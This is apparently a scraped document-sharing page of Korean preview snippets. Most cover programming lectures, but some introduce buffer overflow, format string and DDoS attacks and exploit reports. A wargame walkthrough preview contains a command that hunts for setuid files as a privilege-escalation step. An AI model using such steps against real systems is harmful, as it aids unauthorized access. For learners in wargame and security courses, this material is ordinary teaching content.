제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

untitled

untitled Push... 2 Push... 4 Push... 5 Push... 13 Push... 15 1 FORCS Co., LTD A Leader of Enterprise e-business Solution Push (Daemon ), Push Push Observer. Push., Observer. Session. Thread Thread. Observer ID.

More information

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 비트연산자 1 1 비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 진수법! 2, 10, 16, 8! 2 : 0~1 ( )! 10 : 0~9 ( )! 16 : 0~9, 9 a, b,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 DEVELOPMENT ENVIRONMENT 2 MAKE Jo, Heeseung MAKE Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one 2

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

Microsoft PowerPoint - es-arduino-lecture-03

Microsoft PowerPoint - es-arduino-lecture-03 임베디드시스템개론 : Arduino 활용 Lecture #3: Button Input & FND Control 2012. 3. 25 by 김영주 강의목차 디지털입력 Button switch 입력 Button Debounce 7-Segment FND : 직접제어 7-Segment FND : IC 제어 2 디지털입력 : Switch 입력 (1) 실습목표 아두이노디지털입력처리실습

More information

Microsoft PowerPoint - 10Àå.ppt

Microsoft PowerPoint - 10Àå.ppt 10 장. DB 서버구축및운영 DBMS 의개념과용어를익힌다. 간단한 SQL 문법을학습한다. MySQL 서버를설치 / 운영한다. 관련용어 데이터 : 자료 테이블 : 데이터를표형식으로표현 레코드 : 테이블의행 필드또는컬럼 : 테이블의열 필드명 : 각필드의이름 데이터타입 : 각필드에입력할값의형식 학번이름주소연락처 관련용어 DB : 테이블의집합 DBMS : DB 들을관리하는소프트웨어

More information

제 9 도는 6제어항목의 세팅목표의 보기가 표시된 레이더 챠트(radar chart). 제 10 도는 제 6 도의 함수블럭(1C)에서 사용되는 각종 개성화 함수의 보기를 표시하는 테이블. 제 11a 도 제 11c 도까지는 각종 조건에 따라 제공되는 개성화함수의 변화의

제 9 도는 6제어항목의 세팅목표의 보기가 표시된 레이더 챠트(radar chart). 제 10 도는 제 6 도의 함수블럭(1C)에서 사용되는 각종 개성화 함수의 보기를 표시하는 테이블. 제 11a 도 제 11c 도까지는 각종 조건에 따라 제공되는 개성화함수의 변화의 (19) 대한민국특허청(KR) (12) 특허공보(B1) (51) Int. Cl. 5 B66B 1/18 (45) 공고일자 1993년09월28일 (11) 공고번호 특1993-0009339 (21) 출원번호 특1989-0002580 (65) 공개번호 특1989-0014358 (22) 출원일자 1989년03월02일 (43) 공개일자 1989년10월23일 (30) 우선권주장

More information

C++ Programming

C++ Programming C++ Programming 연산자다중정의 Seo, Doo-okok clickseo@gmail.com http://www.clickseo.com 목 차 연산자다중정의 C++ 스타일의문자열 2 연산자다중정의 연산자다중정의 단항연산자다중정의 이항연산자다중정의 cin, cout 그리고 endl C++ 스타일의문자열 3 연산자다중정의 연산자다중정의 (Operator

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)

More information

untitled

untitled int i = 10; char c = 69; float f = 12.3; int i = 10; char c = 69; float f = 12.3; printf("i : %u\n", &i); // i printf("c : %u\n", &c); // c printf("f : %u\n", &f); // f return 0; i : 1245024 c : 1245015

More information

본 강의에 들어가기 전

본 강의에 들어가기 전 C 기초특강 종합과제 과제내용 구조체를이용하여교과목이름과코드를파일로부터입력받아관리 구조체를이용하여학생들의이름, 학번과이수한교과목의코드와점수를파일로부터입력 학생개인별총점, 평균계산 교과목별이수학생수, 총점및평균을계산 결과를파일에저장하는프로그램을작성 2 Makefile OBJS = score_main.o score_input.o score_calc.o score_print.o

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환 취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple

More information

1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)-

1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)- 1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다. 1.2.1 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)-1 연산범위이유 : 00000000 00000000 00000000 00000000의 32

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729> 8주차중간고사 ( 인터럽트및 A/D 변환기문제및풀이 ) Next-Generation Networks Lab. 외부입력인터럽트예제 문제 1 포트 A 의 7-segment 에초시계를구현한다. Tact 스위치 SW3 을 CPU 보드의 PE4 에연결한다. 그리고, SW3 을누르면하강 에지에서초시계가 00 으로초기화된다. 동시에 Tact 스위치 SW4 를 CPU 보드의

More information

KNK_C_05_Pointers_Arrays_structures_summary_v02

KNK_C_05_Pointers_Arrays_structures_summary_v02 Pointers and Arrays Structures adopted from KNK C Programming : A Modern Approach 요약 2 Pointers and Arrays 3 배열의주소 #include int main(){ int c[] = {1, 2, 3, 4}; printf("c\t%p\n", c); printf("&c\t%p\n",

More information

CD-RW_Advanced.PDF

CD-RW_Advanced.PDF HP CD-Writer Program User Guide - - Ver. 2.0 HP CD-RW Adaptec Easy CD Creator Copier, Direct CD. HP CD-RW,. Easy CD Creator 3.5C, Direct CD 3.0., HP. HP CD-RW TEAM ( 02-3270-0803 ) < > 1. CD...3 CD...5

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그 The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin (soh357@gmail.com) -Contents- 0x00 프롤로그 -------------------------------------------------------------------------- 2 0x01 gate -----------------------------------------------------------------------------

More information

제20회_해킹방지워크샵_(이재석)

제20회_해킹방지워크샵_(이재석) IoT DDoS DNS (jaeseog@sherpain.net) (www.sherpain.net) DDoS DNS DDoS / DDoS(Distributed DoS)? B Asia Broadband B Bots connect to a C&C to create an overlay network (botnet) C&C Provider JP Corp. Bye Bye!

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 2 장 : C 프로그램시작하기 2012 년 이은주 학습목표 을작성하면서 C 프로그램의구성요소 주석 (comment) 이란무엇인지알아보고, 주석을만드는방법 함수란무엇인지알아보고, C 프로그램에반드시필요한 main 함수 C 프로그램에서출력에사용되는 printf 함수 변수의개념과변수의값을입력받는데사용되는 scanf 함수 2 목차 프로그램코드

More information

품질검증분야 Stack 통합 Test 결과보고서 [ The Bug Genie ]

품질검증분야 Stack 통합 Test 결과보고서 [ The Bug Genie ] 품질검증분야 Stack 통합 Test 결과보고서 [ The Bug Genie ] 2014. 10. 목 차 I. Stack 통합테스트개요 1 1. 목적 1 II. 테스트대상소개 2 1. The Bug Genie 소개 2 2. The Bug Genie 주요기능 3 3. The Bug Genie 시스템요구사항및주의사항 5 III. Stack 통합테스트 7 1. 테스트환경

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

1.hwp

1.hwp 윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)

More information